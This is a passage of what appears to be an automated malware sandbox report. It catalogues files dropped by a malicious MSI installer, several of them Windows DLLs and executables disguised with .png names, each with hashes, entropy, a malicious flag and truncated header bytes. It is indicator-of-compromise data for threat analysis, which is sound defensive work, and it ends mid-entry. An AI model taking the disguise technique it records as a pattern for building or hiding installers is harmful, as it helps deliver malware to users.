SHA-512:	9DB1BA740B7B1BD386751BD7EA1CF8BDF30D3A139F0AF81B2D652DBEA9153CE8038EAAE084DDF4F3136560BD00B68A8040C84DE1115658CF5B2E1C31CF99718A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...7).f...........!..................... ........... ....................... ............@.........................L...(.......O.... ..`....................@..0.................................................... ............... ..H............text........ ...................... ..`.sdata..............................@....rsrc...`.... ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\PeFI\vJrY\WebView2Loader.dll.png (copy)

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	702976
Entropy (8bit):	4.9566523846266755
Encrypted:	false
SSDEEP:	6144:n3cKjnv2eBLM6XxJ7UBebH6dEM4JjQvpi1p+e+WRc3RPMTNm:NwetyebH6dK3p+bsNm
MD5:	27563EEA952684C3E2F5A35A81E021DF
SHA1:	BC46C79DACE897088F989D3A34757D7592110B7D
SHA-256:	EADCC6AD7B87CD61D5899A45D08A9D9897AFA62810048E1F1D448C696543EF46
SHA-512:	9DB1BA740B7B1BD386751BD7EA1CF8BDF30D3A139F0AF81B2D652DBEA9153CE8038EAAE084DDF4F3136560BD00B68A8040C84DE1115658CF5B2E1C31CF99718A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...7).f...........!..................... ........... ....................... ............@.........................L...(.......O.... ..`....................@..0.................................................... ............... ..H............text........ ...................... ..`.sdata..............................@....rsrc...`.... ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\PeFI\vJrY\vJrY.png (copy)

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	358000
Entropy (8bit):	7.242791638339027
Encrypted:	false
SSDEEP:	6144:zw4WNZknl8n6n33FxsZK2dx8ltV0Funq3QgiR3xtQAmUPP+UX32U+rv4T+rvS:zw9mSny3rGKV/0gnG8R3xtj1PP+C32U/
MD5:	65CD1FFDB524F091FC06884DCB1270F9
SHA1:	5AC35832CC0DCE15799565D605B12FD15ADB4DC7
SHA-256:	32573224BE0A365DD4A94E5D7812D9CC98B4ACB60A3E85B2B8EA97EB2377E81D
SHA-512:	BA9B6EFD5B8815628AAD54FCB7FB4AFB4C041D7B7140754259D7355728E388A371F81DD58F1D9CE3483D0D70F05EBC771EB6F3022EF17A0DB2A76273FB2F69D9
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........g....}...}...}-..\|...}-..\|[..}...\|...}...\|...}...\|...}E..\|...}-..\|...}-..\|...}-..\|...}...}...}...}{..}E..\|...}E..}...}...}...}E..\|...}Rich...}................PE..L...Y..e.................P..........p.............@.......................................@................................................................... ..................................................................................UPX0....................................UPX1.....P.......N..................@....rsrc................R..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!....

C:\Users\user\AppData\Local\AdvinstAnalytics\66ac0c9e2ff508bfba878aa5\8.7.6.8\tracking.ini

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	4.0081320258334
Encrypted:	false
SSDEEP:	3:1EyEMyvn:1BEN
MD5:	6BC190DD42A169DFA14515484427FC8E
SHA1:	B53BD614A834416E4A20292AA291A6D2FC221A5E
SHA-256:	B3395B660EB1EDB00FF91ECE4596E3ABE99FA558B149200F50AABF2CB77F5087
SHA-512:	5B7011ED628B673217695809A38A800E9C8A42CEB0C54AB6F8BC39DBA0745297A4FBD66D6B09188FCC952C08217152844DFC3ADA7CF468C3AAFCEC379C0B16B6
Malicious:	false
Preview:	[General]..Active = true..

C:\Users\user\AppData\Local\AdvinstAnalytics\66ac0c9e2ff508bfba878aa5\8.7.6.8\{AF3E5550-CCB7-4030-8139-9A55D2075DE7}.session

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13388
Entropy (8bit):	5.413023695998468
Encrypted:	false
SSDEEP:	384:tG1fkJQa+HCOvWMUMdDm1aZDCrgYhqrmKl0FdJxxvw/zFO8xDP:tG1fkJQa+HCOvWMUMdDm1aZDCrgUqrmE
MD5:	23FD4FCCEF47C1BFCBF8B80DF8F02115
SHA1:	40A1010D0DDC22A0FA86F224F3E63D4C1852E11C
SHA-256:	D4FB66DF06B5DB5A90381C1A2B1EF6C3A46AD25BF9FC95023E04A71F5C5AD01A
SHA-512:	02A602D57FD315A9F4374C06FA8B0E5BD16DFF8D0ABA8DF8693621A4D12008FBA88F43DF3727801CDCFE363C1EAA6614108CC32BD3CE70A93B74D11259C1926E
Malicious:	false
Preview:	[Hit {1EB6A1EB-8DD2-4460-AB6D-C45D38D3F2E4}]..Queue Time = 93..Hit Type = lifecycle..Life control = start..Protocol Version = 3..Application ID = 66ac0c9e2ff508bfba878aa5..Application Version = 8.7.6.8..Client ID = 94BCABD9E1EBB3E75B71854540642746D0A25913..Session ID = {AF3E5550-CCB7-4030-8139-9A55D2075DE7}....[Hit {6B773C25-23EA-4760-AEC7-1608F4577E23}]..Queue Time = 0..Hit Type = property..Label = VersionNT..Value = 1000..Protocol Version = 3..Application ID = 66ac0c9e2ff508bfba878aa5..Application Version = 8.7.6.8..Client ID = 94BCABD9E1EBB3E75B71854540642746D0A25913..Session ID = {AF3E5550-CCB7-4030-8139-9A55D2075DE7}....[Hit {1D68D7A3-DCC4-42FB-9D17-D7DAF13C7148}]..Queue Time = 0..Hit Type = property..Label = VersionNT64..Value = 1000..Protocol Version = 3..Application ID = 66ac0c9e2ff508bfba878aa5..Application Version = 8.7.6.8..Client ID = 94BCABD9E1EBB3E75B71854540642746D0A25913..Session ID = {AF3E5550-CCB7-4030-8139-9A55D2075DE7}....[Hit {0D51CAED-92AF-4C30-B938-D9AF0E349F91}]

C:\Users\user\AppData\Local\Temp\shi64B2.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4509696
Entropy (8bit):	6.100941182830929
Encrypted:	false
SSDEEP:	49152:jm+XAVAMPLfOyim8iTRxYUOQSfLTZZZ2y38lb7Cjn3mboy4+MT7ujWx/Tl0ng48e:CzVAwiKTOpfLTDQyaNoy787ujWx/TlR
MD5:	F6153E803F1533042AC7E6988237C2C3
SHA1:	DDA81BB8BC8CC14877C9CB9B7C664DEFD81EBB4F
SHA-256:	F42A771D310C762C05A5BE3DE0CFDB9BEC28D3DFCCAEF800C901F551A0DF30ED
SHA-512:	7AE76A4CB58A9929C09B1D6376073268622C74B1E3F0C346AFA7A7829E2EF136CCF091F58CCA28BFE83C665573C23D9DB6AF51A44275DA0CC2CF8C1306ADDBAC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: LisectAVT_2403002B_409.exe, Detection: malicious, Browse Filename: AnyDesk.msi, Detection: malicious, Browse Filename: LisectAVT_2403002B_493.exe, Detection: malicious, Browse Filename: LisectAVT_2403002B_493.exe, Detection: malicious, Browse Filename: WPS#U529e#U516c#U8f6f#U4ef6 v76.23.66.msi, Detection: malicious, Browse Filename: 0cjB1Kh8zU.msi, Detection: malicious, Browse Filename: 2ztvLMT477.msi, Detection: malicious, Browse Filename: ahx8PyqunR.msi, Detection: malicious, Browse Filename: speke.msi, Detection: malicious, Browse Filename: d47b38d68c7ef6c19add401c1c6defb99aef1fac8fd28.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._.._.._..V.X.=..K..S..K..X..K..W.._.....K..^..K..-..K..D..K.4.^..K..^..Rich_..........................PE..L....+.X...........!.....dA.........P.3.......A....c.........................@E.......E...@A.........................i@.K&..L.A.......B.H.....................D..-......T....................O...... .................A.H....C@......................text.....@.......@................. ..`.wpp_sf.......@.......@............. ..`.data....6....A......hA.............@....idata...1....A..2...nA.............@..@.didat..4.....B.......A.............@....rsrc...H.....B.......A.............@..@.reloc...-....D.......C.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\shi6530.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83128
Entropy (8bit):	6.654653670108596
Encrypted:	false
SSDEEP:	1536:0jIdYoF2CwmzOVStYMAuNWrmaTk++ouMOczT0ud4x41xmPS:0jRoFZwmr+bDk/MOcv0G4sxm
MD5:	125B0F6BF378358E4F9C837FF6682D94
SHA1:	8715BEB626E0F4BD79A14819CC0F90B81A2E58AD
SHA-256:	E99EAB3C75989B519F7F828373042701329ACBD8CEADF4F3FF390F346AC76193
SHA-512:	B63BB6BFDA70D42472868B5A1D3951CF9B2E00A7FADB08C1F599151A1801A19F5A75CFC3ACE94C952CFD284EB261C7D6F11BE0EBBCAA701B75036D3A6B442DB2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.T...:...:...:.....&.:...9...:...;...:...;...:...:...:...4...:...?...:......:...>...:......:...8...:.Rich..:.................PE..L...Y.............!.........H.......n..............................................;.....@A........................P........B.......`............... ...$...p..........T............................................@...............................text.../........................... ..`.data....!..........................@....idata..H....@......................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\surf.xml

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6
Entropy (8bit):	2.2516291673878226
Encrypted:	false
SSDEEP:	3:gpyn:g4n
MD5:	A067F5EC97BA51B576825B69BC855E58
SHA1:	907D296538A45D5B593512881D721C7D347B8E04
SHA-256:	CF3E339D25C3C023C9417FFC5D8E73F1DA828B18FEECAF14FDB9C24D04E49BA0
SHA-512:	F6058F37CF764E6CD807D9C0E9DE881849E4C94EC1D2E0C0EB504ABF77147E77CB09113B087E1C10E790C3EC45780E5986D29B2A84B364C5F697F884B1549F4D
Malicious:	false
Preview:	NULL..

C:\Windows\Installer\495fa1.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {884C282A-B0FB-4975-844E-5DC3BC12BA4B}, Number of Words: 10, Subject: PRCLOMR MR, Author: PRCLOMR MR, Name of Creating Application: Advanced Installer 18.3 build e2a0201b, Template: ;1046, Comments: A base dados do instalador contm a lgica e os dados PRCLOMR MR necessrios para instalar o PRCLOMR MR., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	12885696
Entropy (8bit):	7.898527997571246
Encrypted:	false
SSDEEP:	393216:x99OsRVjtNK9oUMZ73hrLcoV7UBOQZ3M+:x9lN+HWlLco+MQhp
MD5:	E39E03A8E95AEC841D8EC9E1AB3D5706
SHA1:	3D9812935A2413FEA198C3B11BF48769385BB077
SHA-256:	7B67C71AE5AA24C92655D29E37896F639FA42FA79713B174C6A660F5C19E49A2
SHA-512:	4878F455E8824ED2914F4A155DAEB501CF45385440CFE6CC91FD43DFE68C4F014202F67DB389A1A06DE20BD0053231C91ECBF4F7D03E66ECEFAC1C64DE4D9CDC
Malicious:	false
Preview:	......................>...................$...................................................................................................................J...K...L...M...N...O...P...Q...R...S...T...U...........v...................................................................................................................................................................................................................................................................................................................c...............%...7........................................................................................... ...!..."...#...$.../...0...'...(...)...*...+...,...-...........1...5...2...3...4...8...6...@...C...9...:...;...<...=...>...?...Q...A...B...H...D...E...F...G...p...a...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`.......b...d...u...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...v.......w...x...y...z...

C:\Windows\Installer\MSI6185.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	780768
Entropy (8bit):	6.387720196228063
Encrypted:	false
SSDEEP:	12288:8tlNr2btWAp/wEqjh/lNKCQSZ1YVzsRiiqn6BbFAmrhymkM49+Og2Z04KHjJaI/5:8tlNrgpSZKVsRkn4frUMXjJaI/tWogPa
MD5:	573F5E653258BF622AE1C0AD118880A2
SHA1:	E243C761983908D14BAF6C7C0879301C8437415D
SHA-256:	371D1346EC9CA236B257FED5B5A5C260114E56DFF009F515FA543E11C4BB81F7
SHA-512:	DFFF15345DBF62307C3E6A4C0B363C133D1A0B8B368492F1200273407C2520B33ACB20BFF90FEAC356305990492F800844D849EE454E7124395F945DE39F39EA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#P.Qg1..g1..g1..sZ..j1..sZ...1...E..v1...E..p1...E..51..sZ...1..sZ..f1..sZ..z1..g1..T0...E..+1...E..f1...Ex.f1..g1..e1...E..f1..Richg1..........PE..L.../.`.........."!.........B......4................................................j....@..........................;......@=...............................0......X%..p....................&.......%..@............................................text............................... ..`.rdata..............................@..@.data.......P.......@..............@....rsrc...............................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI62DE.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	388064
Entropy (8bit):	6.407392408414975
Encrypted:	false
SSDEEP:	6144:U7C5QB3/CNG2HBOqf2BLuoZSKYfuAO8DOE09VKYnyZwYW:qB3WBOG2BPDKSf9VtyZNW
MD5:	20C782EB64C81AC14C83A853546A8924
SHA1:	A1506933D294DE07A7A2AE1FBC6BE468F51371D6
SHA-256:	0ED6836D55180AF20F71F7852E3D728F2DEFE22AA6D2526C54CFBBB4B48CC6A1
SHA-512:	AFF21E3E00B39F8983D101A0C616CA84CC3DC72D6464A0DD331965CF6BECCF9B45025A7DB2042D6E8B05221D3EB5813445C8ADA69AE96E2727A607398A3DE3D9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......b2..&S..&S..&S..28..+S..28..S...'..)S...'..1S...'..aS..28..?S..28..'S..28..;S..&S..wR...'..tS...'..'S...'+.'S..&SC.'S...'..'S..Rich&S..........................PE..L.....`.........."!.................Z..............................................a.....@.........................@n.......v..........0.......................d?..X...p...............................@............... ............................text............................... ..`.rdata.............................@..@.data...............................@....rsrc...0...........................@..@.reloc..d?.......@..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI635C.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	388064
Entropy (8bit):	6.407392408414975
Encrypted:	false
SSDEEP:	6144:U7C5QB3/CNG2HBOqf2BLuoZSKYfuAO8DOE09VKYnyZwYW:qB3WBOG2BPDKSf9VtyZNW
MD5:	20C782EB64C81AC14C83A853546A8924
SHA1:	A1506933D294DE07A7A2AE1FBC6BE468F51371D6
SHA-256:	0ED6836D55180AF20F71F7852E3D728F2DEFE22AA6D2526C54CFBBB4B48CC6A1
SHA-512:	AFF21E3E00B39F8983D101A0C616CA84CC3DC72D6464A0DD331965CF6BECCF9B45025A7DB2042D6E8B05221D3EB5813445C8ADA69AE96E2727A607398A3DE3D9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......b2..&S..&S..&S..28..+S..28..S...'..)S...'..1S...'..aS..28..?S..28..'S..28..;S..&S..wR...'..tS...'..'S...'+.'S..&SC.'S...'..'S..Rich&S..........................PE..L.....`.........."!.................Z..............................................a.....@.........................@n.......v..........0.......................d?..X...p...............................@............... ............................text............................... ..`.rdata.............................@..@.data...............................@....rsrc...0...........................@..@.reloc..d?.......@..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI6467.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	388064
Entropy (8bit):	6.407392408414975
Encrypted:	false
SSDEEP:	6144:U7C5QB3/CNG2HBOqf2BLuoZSKYfuAO8DOE09VKYnyZwYW:qB3WBOG2BPDKSf9VtyZNW
MD5:	20C782EB64C81AC14C83A853546A8924
SHA1:	A1506933D294DE07A7A2AE1FBC6BE468F51371D6
SHA-256:	0ED6836D55180AF20F71F7852E3D728F2DEFE22AA6D2526C54CFBBB4B48CC6A1
SHA-512:	AFF21E3E00B39F8983D101A0C616CA84CC3DC72D6464A0DD331965CF6BECCF9B45025A7DB2042D6E8B05221D3EB5813445C8ADA69AE96E2727A607398A3DE3D9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......b2..&S..&S..&S..28..+S..28..S...'..)S...'..1S...'..aS..28..?S..28..'S..28..;S..&S..wR...'..tS...'..'S...'+.'S..&SC.'S...'..'S..Rich&S..........................PE..L.....`.........."!.................Z..............................................a.....@.........................@n.......v..........0.......................d?..X...p...............................@............... ............................text............................... ..`.rdata.............................@..@.data...............................@....rsrc...0...........................@..@.reloc..d?.......@..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI6487.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	878560
Entropy (8bit):	6.452749824306929
Encrypted:	false
SSDEEP:	24576:QK8S3AccKkqSojmrhCMou5vk3Y+ukDln/hFRFNUEekB:QK8tKk5ojmrhCMz5vk3ukDln/hFRFNU0
MD5:	D51A7E3BCE34C74638E89366DEEE2AAB
SHA1:	0E68022B52C288E8CDFFE85739DE1194253A7EF0
SHA-256:	7C6BDF16A0992DB092B7F94C374B21DE5D53E3043F5717A6EECAE614432E0DF5
SHA-512:	8ED246747CDD05CAC352919D7DED3F14B1E523CCC1F7F172DB85EED800B0C5D24475C270B34A7C25E7934467ACE7E363542A586CDEB156BFC484F7417C3A4AB0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j{..............`.......`..W...<.......<.......<.......`.......`.......`..............>.......>.......>...............>.......Rich....................PE..L...}.`.........."!.........\|...........................................................@............................t...T........................N..............X}..p....................~.......}..@............................................text............................... ..`.rdata..............................@..@.data...\...........................@....rsrc................^..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI6F17.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	780768
Entropy (8bit):	6.387720196228063
Encrypted:	false
SSDEEP:	12288:8tlNr2btWAp/wEqjh/lNKCQSZ1YVzsRiiqn6BbFAmrhymkM49+Og2Z04KHjJaI/5:8tlNrgpSZKVsRkn4frUMXjJaI/tWogPa
MD5:	573F5E653258BF622AE1C0AD118880A2
SHA1:	E243C761983908D14BAF6C7C0879301C8437415D
SHA-256:	371D1346EC9CA236B257FED5B5A5C260114E56DFF009F515FA543E11C4BB81F7
SHA-512:	DFFF15345DBF62307C3E6A4C0B363C133D1A0B8B368492F1200273407C2520B33ACB20BFF90FEAC356305990492F800844D849EE454E7124395F945DE39F39EA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#P.Qg1..g1..g1..sZ..j1..sZ...1...E..v1...E..p1...E..51..sZ...1..sZ..f1..sZ..z1..g1..T0...E..+1...E..f1...Ex.f1..g1..e1...E..f1..Richg1..........PE..L.../.`.........."!.........B......4................................................j....@..........................;......@=...............................0......X%..p....................&.......%..@............................................text............................... ..`.rdata..............................@..@.data.......P.......@..............@....rsrc...............................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI6F47.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	780768
Entropy (8bit):	6.387720196228063
Encrypted:	false
SSDEEP:	12288:8tlNr2btWAp/wEqjh/lNKCQSZ1YVzsRiiqn6BbFAmrhymkM49+Og2Z04KHjJaI/5:8tlNrgpSZKVsRkn4frUMXjJaI/tWogPa
MD5:	573F5E653258BF622AE1C0AD118880A2
SHA1:	E243C761983908D14BAF6C7C0879301C8437415D
SHA-256:	371D1346EC9CA236B257FED5B5A5C260114E56DFF009F515FA543E11C4BB81F7
SHA-512:	DFFF15345DBF62307C3E6A4C0B363C133D1A0B8B368492F1200273407C2520B33ACB20BFF90FEAC356305990492F800844D849EE454E7124395F945DE39F39EA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#P.Qg1..g1..g1..sZ..j1..sZ...1...E..v1...E..p1...E..51..sZ...1..sZ..f1..sZ..z1..g1..T0...E..+1...E..f1...Ex.f1..g1..e1...E..f1..Richg1..........PE..L.../.`.........."!.........B......4................................................j....@..........................;......@=...............................0......X%..p....................&.......%..@............................................text............................... ..`.rdata..............................@..@.data.......P.......@..............@....rsrc...............................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI7003.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	388064
Entropy (8bit):	6.407392408414975
Encrypted:	false
SSDEEP:	6144:U7C5QB3/CNG2HBOqf2BLuoZSKYfuAO8DOE09VKYnyZwYW:qB3WBOG2BPDKSf9VtyZNW
MD5:	20C782EB64C81AC14C83A853546A8924
SHA1:	A1506933D294DE07A7A2AE1FBC6BE468F51371D6
SHA-256:	0ED6836D55180AF20F71F7852E3D728F2DEFE22AA6D2526C54CFBBB4B48CC6A1
SHA-512:	AFF21E3E00B39F8983D101A0C616CA84CC3DC72D6464A0DD331965CF6BECCF9B45025A7DB2042D6E8B05221D3EB5813445C8ADA69AE96E2727A607398A3DE3D9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......b2..&S..&S..&S..28..+S..28..S...'..)S...'..1S...'..aS..28..?S..28..'S..28..;S..&S..wR...'..tS...'..'S...'+.'S..&SC.'S...'..'S..Rich&S..........................PE..L.....`.........."!.................Z..............................................a.....@.........................@n.......v..........0.......................d?..X...p...............................@............... ............................text............................... ..`.rdata.............................@..@.data...............................@....rsrc...0...........................@..@.reloc..d?.......@..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI7033.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	780768
Entropy (8bit):	6.387720196228063
Encrypted:	false
SSDEEP:	12288:8tlNr2btWAp/wEqjh/lNKCQSZ1YVzsRiiqn6BbFAmrhymkM49+Og2Z04KHjJaI/5:8tlNrgpSZKVsRkn4frUMXjJaI/tWogPa
MD5:	573F5E653258BF622AE1C0AD118880A2
SHA1:	E243C761983908D14BAF6C7C0879301C8437415D
SHA-256:	371D1346EC9CA236B257FED5B5A5C260114E56DFF009F515FA543E11C4BB81F7
SHA-512:	DFFF15345DBF62307C3E6A4C0B363C133D1A0B8B368492F1200273407C2520B33ACB20BFF90FEAC356305990492F800844D849EE454E7124395F945DE39F39EA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#P.Qg1..g1..g1..sZ..j1..sZ...1...E..v1...E..p1...E..51..sZ...1..sZ..f1..sZ..z1..g1..T0...E..+1...E..f1...Ex.f1..g1..e1...E..f1..Richg1..........PE..L.../.`.........."!.........B......4................................................j....@..........................;......@=...............................0......X%..p....................&.......%..@............................................text............................... ..`.rdata..............................@..@.data.......P.......@..............@....rsrc...............................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI70A2.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	modified
Size (bytes):	2363
Entropy (8bit):	5.527069650585703
Encrypted:	false
SSDEEP:	48:/xuL2UA4b7wNY+DwX1AX6gnwVEnkanDwEfqkKfr47CMTaH:5uVACWTDG1i6gncEkiDhfqkKfrsaH
MD5:	2462B04E1000D6AE7FD6487765DAD21A
SHA1:	1B0BA21F2F11748F546A7ADD0EE60D79C15775B0
SHA-256:	5F839FA5B5A6200CA56A48876FC7A9398D31329529B0DDACE251C39B8CF732C4
SHA-512:	49F792DA0F4154786D67C19D197720778C4A97FEE6F375C4487BE0ABE5F6B92975B9B90440369D8A006224ABB890DCFFC83042415986E7A8963666C9FFF3CEBC
Malicious:	false
Preview:	...@IXOS.@.....@.B.Y.@.....@.....@.....@.....@.....@......&.{15AABDA9-5457-45E2-8C08-D78BBF9DF5D5}..PRCLOMR MR..9rybs.msi.@.....@.....@.....@........&.{884C282A-B0FB-4975-844E-5DC3BC12BA4B}.....@.....@.....@.....@.......@.....@.....@.......@......PRCLOMR MR......Rollback..A.....o. .d.e. .r.e.s.t.a.u.r.a.....o.....RollbackCleanup..Removendo arquivos de backup..Arquivo: [1]...@.......@........ProcessComponents%.Atualizando o registro de componentes...@.....@.....@.]....&.{9A647FB6-8DED-4CFE-ACBA-2BDC554A74E7}4.C:\Users\user\AppData\Roaming\PRCLOMR MR\PRCLOMR MR\.@.......@.....@.....@......&.{5B41ECFF-AC7E-444D-A1FB-D627EBF6BEE1}*.01:\Software\PRCLOMR MR\PRCLOMR MR\Version.@.......@.....@.....@......&.{82C9FF59-DD7E-4CEC-8A97-4FEE517BCB1B}K.01:\Software\PRCLOMR MR\{15AABDA9-5457-45E2-8C08-D78BBF9DF5D5}\AI_IA_ENABLE.@.......@.....@.....@........CreateFolders..Criando novas pastas..Pasta: [1]".4.C:\Users\user\AppData\Roaming\PRCLOMR MR\PRCLOMR MR\.@........WriteRegistryValues,.Escrevendo os

C:\Windows\Installer\MSI9F25.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	780768
Entropy (8bit):	6.387720196228063
Encrypted:	false
SSDEEP:	12288:8tlNr2btWAp/wEqjh/lNKCQSZ1YVzsRiiqn6BbFAmrhymkM49+Og2Z04KHjJaI/5:8tlNrgpSZKVsRkn4frUMXjJaI/tWogPa
MD5:	573F5E653258BF622AE1C0AD118880A2
SHA1:	E243C761983908D14BAF6C7C0879301C8437415D
SHA-256:	371D1346EC9CA236B257FED5B5A5C260114E56DFF009F515FA543E11C4BB81F7
SHA-512:	DFFF15345DBF62307C3E6A4C0B363C133D1A0B8B368492F1200273407C2520B33ACB20BFF90FEAC356305990492F800844D849EE454E7124395F945DE39F39EA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#P.Qg1..g1..g1..sZ..j1..sZ...1...E..v1...E..p1...E..51..sZ...1..sZ..f1..sZ..z1..g1..T0...E..+1...E..f1...Ex.f1..g1..e1...E..f1..Richg1..........PE..L.../.`.........."!.........B......4................................................j....@..........................;......@=...............................0......X%..p....................&.......%..@............................................text............................... ..`.rdata..............................@..@.data.......P.......@..............@....rsrc...............................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{15AABDA9-5457-45E2-8C08-D78BBF9DF5D5}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1629763799366026
Encrypted:	false
SSDEEP:	12:JSbX72FjR/fiAGiLIlHVRpMh/7777777777777777777777777vDHF8Zm2WEQp3j:JCQI5cR2WEq6F
MD5:	07348CF3B1AFA58D96732BBB8132E577
SHA1:	E9898F672161D04B252FF7FF2AED8287DAACF70B
SHA-256:	ECD7D4EF5E08C22EF7D121B0A756D82D6D8DAC422C4589A5A21E97308D22BB32
SHA-512:	83A9447A98E09C77C3050160C13847D9003F184F4C1E0C54F455F1DFE487480B702A03BCCD65808C36F6204497AD82A49A5931CADB8ACD4A2A88DCF17A982F24
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	24576
